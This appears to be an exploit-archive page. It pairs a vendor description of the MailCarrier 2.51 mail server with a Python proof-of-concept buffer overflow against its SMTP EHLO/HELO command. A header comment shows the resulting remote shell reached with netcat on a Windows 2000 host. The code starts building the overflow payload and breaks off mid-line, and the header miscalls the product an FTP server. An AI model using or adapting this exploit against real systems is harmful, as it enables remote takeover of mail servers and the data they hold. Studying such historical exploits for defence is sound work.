ABOUT : MailCarrier is a full-featured mail server with the latest security and anti-spam functions. It supports SSL communication and SMTP/POP3 authentication methods based on SASL and NTLM that do not transmit message and/or password in clear text. Many spam mails can be blocked through inquiry of sender's address, inquiry of RBL, filtering of message content, and so on. MailCarrier provides you with various methods for running multiple domains. It can execute a mail server instance per domain in a single computer; you can run lots of mail servers without interference each other. In addition, you can make many virtual domains and alias domains per mail server instance as you want. For each domain and instance, you can build individual spam policy and security policy. http://www.tabslab.com/en/product/mailcarrier20/ THE POC : ######################################################### # MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow # # Advanced, secure and easy to use FTP Server. # # 23 Oct 2004 - muts # ######################################################### # D:\BO>mailcarrier-2.5-EHLO.py # ######################################################### # D:\data\tools>nc -v 192.168.1.32 101 # # localhost [127.0.0.1] 101 (hostname) open # # Microsoft Windows 2000 [Version 5.00.2195] # # (C) Copyright 1985-2000 Microsoft Corp. # # C:\WINNT\system32> # ######################################################### import struct import socket print "\n\n###############################################" print "\nMailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow" print "\nFound & coded by muts [at] whitehat.co.il" print "\nFor Educational Purposes Only!\n" print "\n\n###############################################" def make_overflow_dummy(overflow_len, retaddr): return 'A' * overflow_len + struct.pack('